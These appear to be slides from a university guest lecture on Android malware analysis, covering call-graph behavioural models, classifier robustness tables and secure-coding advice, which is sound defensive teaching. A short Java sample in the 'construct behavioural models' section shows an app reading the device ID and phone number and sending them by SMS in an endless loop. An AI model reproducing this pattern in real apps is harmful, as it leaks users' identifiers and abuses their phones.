Malware Analysis for Android Apps
(Guest Lecture)
Speaker: Wei Chen
LFCS, School of Informatics
University of Edinburgh, UK
April 2, 2018

Outline
▶ Background: Android apps and malware
▶ Example: construct behavioural models for apps
▶ Example: classifiers for detecting malware
▶ Reflection: lessons for secure programming
▶ Conclusion: malware analysis in general

Android apps and markets

Example: Flashlight
“Why in the world would I want a flashlight app that collects so much info about me?” 😞

Example: Flashlight
“This app is extremely bright and does its job well. I don’t know what others mean when they say that they have so many problems with it.” 😊
How could we know what happens in a malware instance?

Outline
- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general

Android Architecture
Java API Framework:
- Components: Activity, Service, Receiver, Content Provider, etc.
- Lifecycle: organisation of callbacks.
- Inter-procedural call: within a procedure call another procedure.
- Multiple entries: can be triggered by system events.
- Inter-component communication: start a component from another component.

Example: construct behavioural models
- control-dependences of events and API calls
- abstract API calls into permission-like phrases
- over-approximate behavioural aspects of apps
- model inter-component communication
- don’t model data-flows, reflection, or obfuscation

Manifest file:
```
<activity android:name="com.example.Main">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <action android:name="com.main.intent" />
    </intent-filter>
</activity>
```

Activity:
```
public class Main extends Activity implements View.OnClickListener {
    private static String info = "";
    protected void onCreate(Bundle savedInstanceState) {
        Intent intent = getIntent();
        info = intent.getStringExtra("DEVICE_ID");
        info += intent.getStringExtra("TEL_NUM");
        SendSMSTask task = new SendSMSTask();
        task.execute();
    }
    public void onClick(View v) {
        SendSMSTask task = new SendSMSTask();
        task.execute();
    }
    private class SendSMSTask extends AsyncTask<Void, Void, Void> {
        protected Void doInBackground(Void... params) {
            while (true) {
                SmsManager sms = SmsManager.getDefault();
                sms.sendTextMessage("1234", null, info, null, null);
            }
        }
    }
}
```
Example: Flashlight

The extended call graphs for Flashlight only considering inter-procedural calls.
The extended call-graph for Flashlight considering lifecycle and inter-component communication.

Questions and Discussion
▶ How do you think about static analysis?
▶ Is there any other automatic method which can help our understanding of malware?
▶ Could static analysis help improve other automatic methods?

Outline
▶ Background: Android apps and malware
▶ Example: construct behavioural models for apps
▶ Example: classifiers for detecting malware
▶ Reflection: lessons for secure programming
▶ Conclusion: malware analysis in general

Syntax-Based Android Malware Classifiers

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>permissions</td>
<td>precision</td>
<td>recall</td>
</tr>
<tr>
<td></td>
<td>89%</td>
<td>99%</td>
</tr>
<tr>
<td>apis</td>
<td>93%</td>
<td>98%</td>
</tr>
<tr>
<td>all</td>
<td>95%</td>
<td>98%</td>
</tr>
</tbody>
</table>

Robustness of these well-trained classifiers is poor.

These classifiers were trained on 3,000 pre-labelled apps using L1-regularised linear regression. Precision denotes the percentage of detected apps are real malware. Recall is the percentage of real malware instances are detected. Ref: Chen et al. More Semantics More Robustness: Improving Android Malware Classifiers. WiSec 16.

Syntax-Based Features — Permissions
▶ over 200 permissions;
▶ coarse and lightweight;
▶ good on validation but poor on testing (new malware): precision 89% → 55%, recall 99% → 23%;
▶ requesting a permission doesn’t mean it will be used.
Syntax-Based Features — API Calls
- over 50,000 APIs;
- precise and lightweight;
- good on validation but poor on testing (new malware): precision 93% → 62%, recall 98% → 13%;
- API calls might appear in dead code and most of them are trivial;
- malicious behaviour appears in order.

Semantics-Based Features — Reachables
- over 300 reachable paths;
- performance on testing is improved; the recall reaches 72%.
- performance on validation is not as good as syntax-based; the precision drops to 73%.

Semantics-Based — Invoke-Befores
- over 2,000 invoke-befores;
- performance on testing is improved; the recall reaches 70%.
- performance on validation is not as good as syntax-based; the precision drops to 68%.

Semantics-Based — Unwanted Behaviour
Example automata:

Syntax-Based vs. Semantics-Based Features
- Sign-A: permissions;
- Sign-B: actions;
- Sign-C: API calls

N: INTERNET (connect to Internet)  V: VIEW (display data to user)
B: BOOT_COMPLETED  R: READ_PHONE_STATE
C: CHANGE_WIFI_STATE (when WiFi state changes)
### Evaluation — Most Robust General Classifiers

<table>
<thead>
<tr>
<th>Training method</th>
<th>Training feature</th>
<th>( \rho_1 )</th>
<th>( \rho_{0.5} )</th>
</tr>
</thead>
<tbody>
<tr>
<td>NB</td>
<td>actions</td>
<td>76</td>
<td>71</td>
</tr>
<tr>
<td>L1LR</td>
<td>reachables ✓</td>
<td>74</td>
<td>70</td>
</tr>
<tr>
<td>NB</td>
<td>reachables ✓</td>
<td>72</td>
<td>70</td>
</tr>
<tr>
<td>L1LR</td>
<td>unwanted ✓</td>
<td>71</td>
<td>70</td>
</tr>
<tr>
<td>NB</td>
<td>happen-befores ✓</td>
<td>70</td>
<td>67</td>
</tr>
<tr>
<td>SVM</td>
<td>keywords</td>
<td>73</td>
<td>66</td>
</tr>
<tr>
<td>DT</td>
<td>happen-befores ✓</td>
<td>70</td>
<td>65</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>keywords</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>KNN</td>
<td>keywords</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>NB</td>
<td>permissions</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>L1LR</td>
<td>happen-befores ✓</td>
<td>69</td>
<td>64</td>
</tr>
<tr>
<td>RF</td>
<td>happen-befores ✓</td>
<td>69</td>
<td>64</td>
</tr>
<tr>
<td>SEMI</td>
<td>happen-befores ✓</td>
<td>68</td>
<td>63</td>
</tr>
<tr>
<td>NB</td>
<td>keywords</td>
<td>68</td>
<td>59</td>
</tr>
</tbody>
</table>

### Evaluation — Least Robust General Classifiers

<table>
<thead>
<tr>
<th>Training method</th>
<th>Training feature</th>
<th>( \rho_1 )</th>
<th>( \rho_{0.5} )</th>
</tr>
</thead>
<tbody>
<tr>
<td>SEMI</td>
<td>API calls</td>
<td>14</td>
<td>9</td>
</tr>
<tr>
<td>RF</td>
<td>API calls</td>
<td>14</td>
<td>9</td>
</tr>
<tr>
<td>NB</td>
<td>API calls</td>
<td>19</td>
<td>13</td>
</tr>
<tr>
<td>SVM</td>
<td>actions</td>
<td>19</td>
<td>13</td>
</tr>
<tr>
<td>L1LR</td>
<td>actions</td>
<td>21</td>
<td>14</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>actions</td>
<td>21</td>
<td>15</td>
</tr>
<tr>
<td>DT</td>
<td>API calls</td>
<td>25</td>
<td>17</td>
</tr>
<tr>
<td>SVM</td>
<td>API calls</td>
<td>26</td>
<td>18</td>
</tr>
<tr>
<td>KNN</td>
<td>actions</td>
<td>27</td>
<td>19</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>API calls</td>
<td>27</td>
<td>19</td>
</tr>
<tr>
<td>RF</td>
<td>actions</td>
<td>29</td>
<td>20</td>
</tr>
<tr>
<td>SEMI</td>
<td>actions</td>
<td>31</td>
<td>22</td>
</tr>
<tr>
<td>DT</td>
<td>actions</td>
<td>33</td>
<td>23</td>
</tr>
<tr>
<td>L1LR</td>
<td>API calls</td>
<td>35</td>
<td>25</td>
</tr>
</tbody>
</table>

### Questions and Discussion

- How do you think about machine learning methods?
- How could we improve the construction of unwanted behaviour? (on-going research)
- Is there any other model we can learn for malware detection? (on-going research)

### More Information — App Guarden (2013 - 17)

Website: [http://groups.inf.ed.ac.uk/security/appguarden/Home.html](http://groups.inf.ed.ac.uk/security/appguarden/Home.html)

### More Information — PreSBeMA (2017 — 2020)

**Predicting the Security Behaviour of Mobile Apps**

A new cyber security research (2017-2020) project at University of Edinburgh’s School of Informatics funded by the UK Office of Naval Research.

**Goals**

- An abstract functional language to capture security-relevant behaviours
- Type-safe and efficient systems for policy-specific self verification
- A semi-supervised learning framework which supports automatic construction and refinement of behavioural security policies

Website: [https://davidaspinall.github.io/presbema/](https://davidaspinall.github.io/presbema/)

### Outline

- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general
Reflection: lessons for secure programming
▶ Don’t request permissions you never use. Notice that third-party libraries often request more permissions.
▶ Avoid using any third-party library (advertisement library) which you think it might cause harm to users (information leakage) or others (turn the smart phone into a bot, Trojans, injection, etc.)
▶ Using static analysis tools to help you understand what happens in these libraries.
▶ Try your best to protect the personal information.
▶ Use obfuscation tools to optimise and protect code.
▶ Avoid using reflection and hidden libraries.
▶ Encrypt any sensitive information.

Outline
▶ Background: Android apps and malware
▶ Example: construct behavioural models for apps
▶ Example: classifiers for detecting malware
▶ Reflection: lessons for secure programming
▶ Conclusion: malware analysis in general

Malware analysis
Malware: any software that is harmful to people, computers, networks, systems, etc., including: Trojan horses, worms, spyware, adware, ransomware, etc.

Malware analysis: the art (maybe science) of dissecting and understanding what happens in malware, so as to eliminate malware in future.

Limitation: cannot capture unseen malicious patterns which might cause failure to detect new malware.

Malware analysis: techniques
Reverse engineering: decompilation and manual investigation.
Precise but very expensive (in days, weeks, or months per app).

Static analysis: produce models and check properties without running apps.
▶ Basic: collect meta-information and API calls, hash apps for identification, compression for measuring distances.
Coarse but efficient (in seconds per app).
▶ Advanced: construct call graphs and data flows, then check safety (bad things will never happen) or liveness (good things will eventually happen) properties, i.e., model checking.
Expensive (in hours or days per app) and often over-approximated (cover something that will never happen).

Dynamic analysis: run, emulate, or simulate (part of) an app to produce traces and check properties.
Efficient (in minutes per app) but often under-approximated (miss something that will happen) and hard to mimic user input.

Machine learning: classification or outlier detection using statistical models.
Efficient (training and detecting in seconds per app) but often over-fitting to the training data (not general enough to capture new behaviours) and hard to explain the reasons making a decision.

In general the goal is to build abstract models to characterise malicious patterns and infer by exploiting these models.
Further Readings

Chen et al. On Robust Malware Classifiers by Verifying Unwanted Behaviours. iFM 16.